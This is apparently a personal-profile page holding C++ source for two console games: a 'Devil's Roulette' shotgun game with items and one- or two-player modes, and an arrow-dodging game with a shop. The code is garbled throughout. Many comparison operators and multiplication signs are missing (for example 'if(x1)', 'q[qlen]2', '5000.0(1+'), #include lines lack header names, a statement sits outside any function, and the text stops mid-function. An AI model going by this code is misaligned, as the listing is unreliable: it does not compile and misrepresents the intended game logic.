• 个人简介

    恶魔轮盘赌 #include<windows.h> #include<bits/stdc++.h> using namespace std; int Your=6,Other=6; string daojuname[]={"放大镜","手铐","小刀","烟","饮料"}; double Yourmoney;

    int shi,kong; int q[10],qlen;//1 实 2 空 int Rand(int x,int y){ int A=rand(),B=rand(); return A1llB%(y-x+1)+x; } int T;//ou->you int daojulen; int daoju[10]; int daojulen1; int daoju1[10]; void build_gun(){ kong=Rand(1,4); shi=Rand(1,4); qlen=0; printf("%d发实弹,%d发空弹\n",shi,kong); int a1=kong,a2=shi; for(int i=1;i<=kong+shi;i++){ // Sleep(50); int sum=Rand(1,a1+a2); if(sum<=a1){ a1--; q[++qlen]=2; }else{ a2--; q[++qlen]=1; } } int maxn=min(4,8-daojulen); printf("你获得了%d个道具:\n",maxn); daojulen+=maxn; for(int i=1;i<=maxn;i++){ // Sleep(50); int kkk=Rand(0,4); daoju[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ printf(","); } } printf("\n"); maxn=min(4,8-daojulen1); printf("恶魔获得了%d个道具:\n",maxn); daojulen1+=maxn; for(int i=1;i<=maxn;i++){ int kkk=Rand(0,4); daoju1[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ printf(","); } } printf("\n"); system("pause"); system("cls"); } void IsOver(){ if(Your<=0){ printf("你输了\n"); system("pause"); exit(0); } if(Other<=0){ printf("你赢了\n你获得了奖金$%.2lf\n",Yourmoney); system("pause"); exit(0); } } void wait(){ for(int i=1;i<=3;i++){ Sleep(500); printf("."); } Sleep(500); } int Hurt=1; int shoukao_you; void Timeyou(){ int x; while(1){ printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other); printf("剩余实弹数:%d 剩余空弹数:%d\n",shi,kong); printf("你现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("恶魔现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju1[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("现在是你的回合\n"); printf("你要\n1.向恶魔开枪\n2.向自己开枪\n"); for(int i=0;i<=4;i++){ printf("%d.使用",i+3); cout<<daojuname[i]<<'\n'; } scanf("%d",&x); if(1<=x&&x<=7){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } if(x1){ printf("你决定向恶魔开枪"); T++; wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(shi)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); if(shoukao_you1){ shoukao_you=0; printf("因为你使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } }else{ // printf("((%lf))\n",Yourmoney); Yourmoney+=(double)(5000.0*(Hurt1.0)(1+(double)(kong)*1.0/(double)(shi+kong))); // printf("{{%lf}}\n",Yourmoney); shi--; qlen--; Other-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver(); if(shoukao_you1){ shoukao_you=0; Yourmoney+=1000.0; printf("因为你使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x2){ printf("你决定向自己开枪"); wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(kong)1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); }else{ Yourmoney+=5000.0(1+(double)(shi)*1.0/(double)(shi+kong)); T++; shi--; qlen--; Your-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver(); if(shoukao_you1){ shoukao_you=0; printf("因为你使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x3){//{"放大镜","手铐","小刀","烟","饮料"}; if(daoju[0]){ daoju[0]--; daojulen--; printf("你使用了放大镜\n"); wait(); printf("\n你看到了"); if(q[qlen]1){ printf("实弹\n"); Yourmoney+=2500.0; }else{ printf("空弹\n"); } Sleep(500); printf("\n"); }else{ printf("你现在没有放大镜\n"); Sleep(1145); system("cls"); } }else if(x4){ if(daoju[1]){ if(!shoukao_you){ daoju[1]--; daojulen--; printf("你使用了手铐\n"); printf("你获得了连开两枪的机会\n"); shoukao_you=1; }else{ printf("你已经用过手铐了\n"); } Sleep(1145); system("cls"); }else{ printf("你现在没有手铐\n"); Sleep(1145); system("cls"); } }else if(x5){ if(daoju[2]){ if(Hurt1){ daoju[2]--; daojulen--; printf("你使用了小刀\n"); printf("若下一发为实弹则伤害+10\n"); Yourmoney+=2500.0; Hurt=10; }else{ printf("你已经用过小刀了\n"); } Sleep(1145); system("cls"); }else{ printf("你现在没有小刀\n"); Sleep(1145); system("cls"); } }else if(x==6){ if(daoju[3]){ if(Your^6){ daoju[3]--; daojulen--; printf("你使用了烟\n"); printf("你回复了一点生命\n"); Yourmoney+=500.0; Your++; }else{ printf("你现在不需要烟\n"); } Sleep(1145); }else{ printf("你现在没有烟\n"); Sleep(1145); system("cls"); } }else{ if(daoju[4]){ daoju[4]--; daojulen--; printf("你使用了饮料\n"); wait(); printf("\n"); printf("你退了一发"); if(q[qlen]==2){ printf("空弹"); kong--; }else{ printf("实弹"); Yourmoney+=500.0; shi--; } qlen--; Sleep(500); }else{ printf("你现在没有饮料\n"); Sleep(1145); system("cls"); } } Sleep(1000); system("cls"); } int Know;//通过放大镜得知下一发子弹 int shoukaoemo; void fightyou(){ printf("恶魔决定向你开枪"); T++; wait(); if(q[qlen]==2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(kong)1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; Know=0; printf("是空弹\n"); if(shoukaoemo){ printf("因为恶魔使用了手铐,所以可以再来一次\n"); T--; Sleep(500); shoukaoemo=0; } }else{ Yourmoney+=(double)(5000.0(Hurt1.0)(1+(double)(kong)1.0/(double)(shi+kong))); shi--; qlen--; Your-=Hurt; Hurt=1; printf("是实弹\n"); Know=0; Sleep(500); IsOver(); if(shoukaoemo){ printf("因为恶魔使用了手铐,所以可以再来一次\n"); Yourmoney+=1000.0; T--; Sleep(500); shoukaoemo=0; } } } void fightemo(){ printf("恶魔决定向自己开枪"); wait(); if(q[qlen]==2){ Yourmoney+=2000.0(1+(double)(shi)1.0/(double)(shi+kong)); kong--; qlen--; printf("是空弹\n"); Know=0; }else{ Yourmoney+=5000.0(1+(double)(kong)*1.0/(double)(shi+kong)); shi--; T++; qlen--; Other-=Hurt; Hurt=1; printf("是实弹\n"); Know=0; Sleep(500); IsOver(); if(shoukaoemo){ printf("因为恶魔使用了手铐,所以可以再来一次\n"); T--; Sleep(500); shoukaoemo=0; } } } void Timeother(){ printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other); printf("剩余实弹数:%d 剩余空弹数:%d\n",shi,kong); printf("你现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("恶魔现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju1[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("现在是恶魔的回合\n"); Sleep(1500);

    if(Other!=6){
    	if(daoju1[3]){
    		daoju1[3]--;
    		daojulen1--;
    		printf("恶魔使用了烟\n");
    		printf("恶魔回复了亿点生命\n");
    		Other++;
    		Yourmoney+=500000.0;
    		Sleep(1145);
    		system("cls");
    		return ;
    	}
    }
    if(Know==0&&kong==0){
    	Know=1;
    }
    if(Know==0){
    	if(abs(shi-kong)<2&&kong!=0){
    		if(daoju1[0]){
    			daoju1[0]--;
    			daojulen1--;
    			printf("恶魔使用了放大镜\n");
    			wait();
    			printf("\n恶魔看到了");
    			if(q[qlen]==1){
    				printf("实弹");
    				Yourmoney+=2500.0;
    				Know=1;
    			}else{
    				printf("空弹");
    				Know=2;
    			}
    			Sleep(1145);
    			system("cls");
    			return ;
    		}
    	}
    }else if(Know==1){
    	if(Hurt==1&&daoju1[2]){
    		daoju1[2]--;
    		daojulen1--;
    		Hurt++;
    		printf("恶魔使用了小刀\n");
    		printf("若下一发为实弹则伤害+1000");
    		Yourmoney+=500000.0;
    		Sleep(1145);
    		system("cls");
    		return ;
    	}else{
    		if(shi>=kong+1&&daoju1[1]&&shoukaoemo!=1){
    			daoju1[1]--;
    			daojulen1--;
    			shoukaoemo=1;
    			printf("恶魔使用了手铐\n");
    			printf("恶魔获得了连开两枪的机会\n");
    			Sleep(1145);
    			system("cls");
    			return ;
    		}
    		fightyou();
    		system("cls");
    		return ;
    	}
    }else{
    	if(daoju1[4]){
    		daoju1[4]--;
    		daojulen1--;
    		printf("恶魔使用了饮料\n");
    		wait();
    		printf("\n");
    		printf("恶魔退了一发"); 
    		if(q[qlen]==2){
    			printf("空弹");
    			kong--;
    		}else{
    			printf("实弹");
    			shi--;
    		}
    		Know=0;
    		qlen--;
    		Sleep(500);
    		Sleep(1145);
    		system("cls");
    		return ;
    	}else{
    		fightemo();
    		Sleep(1145);
    		system("cls");
    		return ;
    	}
    }
    if(shi>=kong){
    	fightyou();
    }else{
    	fightemo();
    }
    Sleep(1145);
    system("cls");
    

    } void Play(){ while(1){ if(shi0){ build_gun(); T=0; continue; } if(T%20){ Timeyou(); }else{ Timeother(); } } } void danrenplay(){ for(int i=1;i<=3;i++){ printf("."); // Sleep(1000); } printf("\n"); printf("又来了一位挑战者...\n"); Sleep(1000); int x; while(1){ printf("准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n"); scanf("%d",&x); if(x1||x2){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } while(1){ printf("你清楚我们的规则吗?\n1.清楚\n2.不清楚\n"); scanf("%d",&x); if(x1||x2){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } if(x==1){

    }else{
    	for(int i=1;i<=3;i++){
    		printf(".");
    		Sleep(1000);
    	}
    	printf("\n");
    	printf("规则:\n");
    	printf("你和恶魔都各有6点生命\n") ;
    	printf("每一回合开始前,你将知道一共有几发实弹,几发空弹,同时双方都将获得4个道具作为补给(上限为8个)\n"); 
    	printf("每一回合,你可以选择对自己开枪,对恶魔开枪或者使用道具\n");
    	printf("如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n");
    	printf("如果你对恶魔开枪,无论如何,都将停止行动\n");
    	printf("道具一览:\n"); 
    	printf("放大镜:可以知道下一发子弹是空弹还是实弹\n");
    	printf("手铐:增加一次本回合的行动次数\n");
    	printf("小刀:若下一发子弹为实弹,则伤害+1\n");
    	printf("烟:可以回复1点体力\n");
    	printf("饮料:可以退一发子弹\n");
    	system("pause");
    	system("cls");
    }
    
    printf("好吧\n");
    Sleep(1145);
    printf("游戏将要开始了哦\n");
    Sleep(1145);
    system("cls");
    Play();
    

    } void IsOver_duo(){ if(Your<=0){ printf("玩家B赢了\n玩家B获得了奖金$%.2lf\n",Yourmoney); system("pause"); exit(0); }else if(Other<=0){ printf("玩家A赢了\n玩家A获得了奖金$%.2lf\n",Yourmoney); system("pause"); exit(0); }

    } void build_gun_duo(){ kong=Rand(1,4); shi=Rand(1,4); qlen=0; printf("%d发实弹,%d发空弹\n",shi,kong); int a1=kong,a2=shi; for(int i=1;i<=kong+shi;i++){ // Sleep(50); int sum=Rand(1,a1+a2); if(sum<=a1){ a1--; q[++qlen]=2; }else{ a2--; q[++qlen]=1; } } int maxn=min(2,8-daojulen); printf("玩家A获得了%d个道具:\n",maxn); daojulen+=maxn; for(int i=1;i<=maxn;i++){ // Sleep(50); int kkk=Rand(0,4); daoju[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ printf(","); } } printf("\n"); maxn=min(2,8-daojulen1); printf("玩家B获得了%d个道具:\n",maxn); daojulen1+=maxn; for(int i=1;i<=maxn;i++){ int kkk=Rand(0,4); daoju1[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ printf(","); } } printf("\n"); system("pause"); system("cls"); } void Timeyou_duo(){ int x; while(1){ printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other); printf("剩余实弹数:%d 剩余空弹数:%d\n",shi,kong); printf("玩家A现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("玩家B现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju1[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("现在是玩家A的回合\n"); printf("玩家A要\n1.向玩家B开枪\n2.向自己开枪\n"); for(int i=0;i<=4;i++){ printf("%d.使用",i+3); cout<<daojuname[i]<<'\n'; } scanf("%d",&x); if(1<=x&&x<=7){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } if(x1){ printf("玩家A决定向玩家B开枪"); T++; wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(shi)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); if(shoukao_you1){ shoukao_you=0; printf("因为玩家A使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } }else{ // printf("((%lf))\n",Yourmoney); Yourmoney+=(double)(5000.0*(Hurt1.0)(1+(double)(kong)*1.0/(double)(shi+kong))); // printf("{{%lf}}\n",Yourmoney); shi--; qlen--; Other-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver_duo(); if(shoukao_you1){ shoukao_you=0; Yourmoney+=1000.0; printf("因为玩家A使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x2){ printf("玩家A决定向自己开枪"); wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(kong)1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); }else{ Yourmoney+=5000.0(1+(double)(shi)*1.0/(double)(shi+kong)); T++; shi--; qlen--; Your-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver_duo(); if(shoukao_you1){ shoukao_you=0; printf("因为玩家A使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x3){//{"放大镜","手铐","小刀","烟","饮料"}; if(daoju[0]){ daoju[0]--; daojulen--; printf("玩家A使用了放大镜\n"); wait(); printf("\n玩家A看到了"); if(q[qlen]1){ printf("实弹\n"); Yourmoney+=2500.0; }else{ printf("空弹\n"); } Sleep(500); printf("\n"); }else{ printf("玩家A现在没有放大镜\n"); Sleep(1145); system("cls"); } }else if(x4){ if(daoju[1]){ if(!shoukao_you){ daoju[1]--; daojulen--; printf("玩家A使用了手铐\n"); printf("玩家A获得了连开两枪的机会\n"); shoukao_you=1; }else{ printf("玩家A已经用过手铐了\n"); } Sleep(1145); system("cls"); }else{ printf("玩家A现在没有手铐\n"); Sleep(1145); system("cls"); } }else if(x5){ if(daoju[2]){ if(Hurt1){ daoju[2]--; daojulen--; printf("玩家A使用了小刀\n"); printf("若下一发为实弹则伤害+10\n"); Yourmoney+=2500.0; Hurt=10; }else{ printf("玩家A已经用过小刀了\n"); } Sleep(1145); system("cls"); }else{ printf("玩家A现在没有小刀\n"); Sleep(1145); system("cls"); } }else if(x6){ if(daoju[3]){ if(Your^4){ daoju[3]--; daojulen--; printf("玩家A使用了烟\n"); printf("玩家A回复了一点生命\n"); Yourmoney+=500.0; Your++; }else{ printf("玩家A现在不需要烟\n"); } Sleep(1145); }else{ printf("玩家A现在没有烟\n"); Sleep(1145); system("cls"); } }else{ if(daoju[4]){ daoju[4]--; daojulen--; printf("玩家A使用了饮料\n"); wait(); printf("\n"); printf("玩家A退了一发"); if(q[qlen]2){ printf("空弹"); kong--; }else{ printf("实弹"); Yourmoney+=500.0; shi--; } qlen--; Sleep(500); }else{ printf("玩家A现在没有饮料\n"); Sleep(1145); system("cls"); } } Sleep(1000); system("cls"); } void Timeother_duo(){ int x; while(1){ printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other); printf("剩余实弹数:%d 剩余空弹数:%d\n",shi,kong); printf("玩家A现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("玩家B现在拥有的道具:\n"); for(int i=0;i<=4;i++){ cout<<daojuname[i]; printf("%d",daoju1[i]); printf("个"); if(i!=4){ printf(","); } } printf("\n"); printf("现在是玩家B的回合\n"); printf("玩家B要\n1.向玩家A开枪\n2.向自己开枪\n"); for(int i=0;i<=4;i++){ printf("%d.使用",i+3); cout<<daojuname[i]<<'\n'; } scanf("%d",&x); if(1<=x&&x<=7){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } if(x1){ printf("玩家B决定向玩家A开枪"); T++; wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(shi)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); if(shoukaoemo1){ shoukaoemo=0; printf("因为玩家B使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } }else{ // printf("((%lf))\n",Yourmoney); Yourmoney+=(double)(5000.0*(Hurt1.0)(1+(double)(kong)*1.0/(double)(shi+kong))); // printf("{{%lf}}\n",Yourmoney); shi--; qlen--; Your-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver_duo(); if(shoukaoemo1){ shoukaoemo=0; Yourmoney+=1000.0; printf("因为玩家B使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x2){ printf("玩家B决定向自己开枪"); wait(); if(q[qlen]2){ Yourmoney+=(double)(2000.0*(Hurt1.0)(1+(double)(kong)1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; printf("是空弹\n"); }else{ Yourmoney+=5000.0(1+(double)(shi)*1.0/(double)(shi+kong)); T++; shi--; qlen--; Other-=Hurt; Hurt=1; printf("是实弹\n"); Sleep(500); IsOver_duo(); if(shoukao_you1){ shoukao_you=0; printf("因为玩家B使用了手铐,所以可以再来一次\n"); Sleep(500); T--; } } }else if(x3){//{"放大镜","手铐","小刀","烟","饮料"}; if(daoju1[0]){ daoju1[0]--; daojulen1--; printf("玩家B使用了放大镜\n"); wait(); printf("\n玩家B看到了"); if(q[qlen]1){ printf("实弹\n"); Yourmoney+=2500.0; }else{ printf("空弹\n"); } Sleep(500); printf("\n"); }else{ printf("玩家B现在没有放大镜\n"); Sleep(1145); system("cls"); } }else if(x4){ if(daoju1[1]){ if(!shoukaoemo){ daoju1[1]--; daojulen1--; printf("玩家B使用了手铐\n"); printf("玩家B获得了连开两枪的机会\n"); shoukaoemo=1; }else{ printf("玩家B已经用过手铐了\n"); } Sleep(1145); system("cls"); }else{ printf("玩家B现在没有手铐\n"); Sleep(1145); system("cls"); } }else if(x5){ if(daoju1[2]){ if(Hurt1){ daoju1[2]--; daojulen1--; printf("玩家B使用了小刀\n"); printf("若下一发为实弹则伤害+10\n"); Yourmoney+=2500.0; Hurt=10; }else{ printf("玩家B已经用过小刀了\n"); } Sleep(1145); system("cls"); }else{ printf("玩家B现在没有小刀\n"); Sleep(1145); system("cls"); } }else if(x6){ if(daoju1[3]){ if(Other^4){ daoju1[3]--; daojulen1--; printf("玩家B使用了烟\n"); printf("玩家B回复了一点生命\n"); Yourmoney+=500.0; Other++; }else{ printf("玩家B现在不需要烟\n"); } Sleep(1145); }else{ printf("玩家B现在没有烟\n"); Sleep(1145); system("cls"); } }else{ if(daoju1[4]){ daoju1[4]--; daojulen1--; printf("玩家B使用了饮料\n"); wait(); printf("\n"); printf("玩家B退了一发"); if(q[qlen]2){ printf("空弹"); kong--; }else{ printf("实弹"); Yourmoney+=500.0; shi--; } qlen--; Sleep(500); }else{ printf("玩家B现在没有饮料\n"); Sleep(1145); system("cls"); } } Sleep(1000); system("cls"); } int asdasd; void duorenplay(){ while(1){ if(shi0){ build_gun_duo(); T=asdasd; asdasd++; continue; } if(T%20){ Timeyou_duo(); }else{ Timeother_duo(); } } } int main(){ srand(time(0)); int x; while(1){ printf("请选择你想要的模式:\n1.单人\n2.双人(此模式中,生命值为4,道具补给为2)\n"); scanf("%d",&x); if(x1||x2){ break; } printf("输入不合法\n"); Sleep(1145); system("cls"); } system("cls"); if(x==1){ danrenplay(); }else{ Your=Other=4; duorenplay(); } return 0; }

    小游戏 //made by ProGrBl (0260) #include #include #include<conio.h> #include #include #include #include #include #include<Windows.h> #include #include #include #include<stdio.h> #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? true : false) using namespace std; cout<<"开发者:张潇一,使用后发生任何事故本人概不负责!!!"; int x=60,y=235,maxx=0,anss=0,money=0,yr[10]={0,1,0,0,0,0,0,0,0,0},xr[10]; char xy[60][235]; struct bmb{ int xx,yy; }; string s12=" ",s13=" ",s14=" ",s15=" ",s16=" ",s17=" "; bool oooo=true; struct popo{ int xb; string sy; int pr; }opopo[100]; vector bomb; int sj=0,num; bool gch(char ch){if(getch()==ch)return true;return false;} bool chd(char ch){if(KEY_DOWN(ch)){return true; }return false;} void sb(int x,int y){ HANDLE handle=GetStdHandle(STD_OUTPUT_HANDLE); COORD pos; pos.X=x; pos.Y=y; SetConsoleCursorPosition(handle,pos); } void sx(int sc){ string st="分数: ",st1,dt5="血量:",ft5="钱:"; stringstream ss,cc; ss.clear(); ss<<sc; ss>>st1; st+=st1; sb(1,1); for(int i=0;i<x;i++){for(int j=0;j<y;j++){ st+=xy[i][j]; }st+="\n"; }cout<<dt5<<" "; cout<<ft5<<money<<" "; cout<<"盔甲护身:"<<yr[1]-1<<" "; cout<<"次元突破:"<<yr[2]<<" "; cout<<"火力掩护:"<<yr[3]<<" "; cout<<"超级分身:"<<yr[4]<<" "; cout<<"绝对领域:"<<yr[5]<<" "; cout<<"皇上驾到:"<<yr[6]<<" "; cout<<st; cout<<s12<<" "<<s13<<endl<<s17<<endl; cout<<s16; } bool game1(){//zheng bomb.clear(); int score=0,ball=35,ball2=1,enemy,ccc=x-1,ccc2=x-1,ll=1; double spd=1; bool stopped=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ball++;cin.sync(); } if(chd('A')){ball--;cin.sync(); } if(chd('W')){ccc--;cin.sync(); } if(chd('S')){ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ yr[2]--; ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    if(chd('E')){
    	if(yr[3]>0){
    	   yr[3]--;
    	   xy[ccc-1][ball-1]=' ';cin.sync();
    	   xy[ccc-1][ball]=' ';cin.sync();
    	   xy[ccc-1][ball+1]=' ';cin.sync();
    	   xy[ccc][ball-1]=' ';cin.sync();
    	   xy[ccc][ball+1]=' ';cin.sync();
    	   xy[ccc+1][ball-1]=' ';cin.sync();
    	   xy[ccc+1][ball]=' ';cin.sync();
    	   xy[ccc+1][ball+1]=' ';cin.sync();
    	}
    
    }
    	 
    }
    //spd*=1.1;
    }
    if(score>maxx){
      money+=1000;
    }
    money+=score;
    

    } bool game7(){ bomb.clear(); int score=0,ball=52,ball2=53,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[29][51]='1'; xy[30][51]='-';

    xy[29][174]='3';
    xy[30][174]='-';
    
    xy[29][112]='2';
    xy[30][112]='-';
    
    xy[31][112]='5';
    xy[32][112]='-';
    
    xy[31][51]='4';
    xy[32][51]='-';
    
    xy[31][174]='6';
    xy[32][174]='-';
    xy[ccc][ball]='Q';
    if(chd('D')){
    ball++;cin.sync();
    }
    if(chd('A')){
    ball--;cin.sync();
    }
    if(chd('W')){
    ccc--;cin.sync();
    }
    if(chd('S')){
    ccc++;cin.sync();
    }
    
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=27;i<34;i++){
    	xy[i][49]='&';
    	xy[i][181]='&';
    }
    for(int i=49;i<182;i++){
    	xy[27][i]='&';
    	xy[33][i]='&';
    }
    if(ccc==30&&ball==51){
    	s13="x购买,c查看";
        if(chd('X')){
       	    if(money>=2000){
       	  	    yr[1]++;
    			money-=2000; 
    		} 
        }
       	if(chd('C')){
       	    s17="盔甲护身:2000 加上一点血量";  
        }
    } 
    if(ccc==30&&ball==174){
    	s13="x购买,c查看";
        if(chd('X')){
       	    if(money>=8000){
       	  	    yr[3]++;
    			money-=8000; 
    		} 
        }
       	if(chd('C')){
       	    s17="火力掩护:8000 三乘三不攻击";
        }
    }
    if(ccc==30&&ball==112){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=5000){
       	  	    yr[2]++;
    			money-=5000; 
    		} 
       }
       	if(chd('C')){
       	    s17="次元突破:5000 移到队友那里";  
        }
    }
    if(ccc==32&&ball==51){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=12000){
       	  	    yr[4]++;
    			money-=12000; 
    		} 
       }
       	if(chd('C')){
       	    s17="超级分身:1.2w 增加四个分身";  
        }
    }
    if(ccc==32&&ball==174){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=20000){
       	  	    yr[6]++;
    			money-=20000; 
    		} 
       }
       	if(chd('C')){
       	    s17="皇上驾到:2.0w 让所有箭消失"; 
        }
    }
    if(ccc==32&&ball==112){
    	s13="x购买,c查看";
       if(chd('X')){
       	    if(money>=15000){
       	  	    yr[5]++;
    			money-=15000; 
    		} 
       }
       	if(chd('C')){
       	    s17="绝对领域:1.5w 生成25个护盾";  
        }
    }
    if(chd('E'))stopped=true;
    //spd*=1.1;
    }
    

    } bool game4(){ bomb.clear(); int score=0,ball=51,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); }

    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    xy[30][172]='Y';
    xy[29][171]='/'; 
    xy[29][173]='\\';
    xy[31][171]='\\';
    xy[31][173]='/';   
    for(int i=28;i<33;i++){
    	xy[i][50]='&';
    	xy[i][175]='&';
    }
    for(int i=50;i<176;i++){
    	xy[28][i]='&';
    	xy[32][i]='&';
    }
    if(ccc==30&&ball==170){
    	stopped=true;
    } 
    //spd*=1.1;
    }
    //Sleep(800); 
    

    } int game6(){ bomb.clear(); int score=0,ball=112,ball2=52,enemy,ccc=30,ccc2=30,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('G'))s12=" ";cin.sync(); xy[ccc2][ball2]='&'; if(chd('L')){ball2++;cin.sync(); } if(chd('J')){ball2--;cin.sync(); } if(chd('I')){ccc2--;cin.sync(); } if(chd('K')){ccc2++;cin.sync(); } xy[29][51]='h'; xy[29][174]='c'; xy[29][112]='s'; xy[31][112]='e'; xy[31][51]='z'; xy[31][174]='r'; for(int i=27;i<34;i++){ xy[i][49]='&'; xy[i][176]='&'; } for(int i=49;i<177;i++){ xy[27][i]='&'; xy[33][i]='&'; } if(ccc29&&ball51){ return 1; } if(ccc29&&ball174){ return 2; } if(ccc29&&ball112){ return 5; } if(ccc31&&ball112){ return 6; } if(ccc31&&ball51){ return 3; } if(ccc31&&ball174){ return 4; } //spd*=1.1; } //Sleep(800); } bool game2(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-3,ccc2=x-3,ll=0; double spd=1; bool stopped=false; bool okok=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; for(int 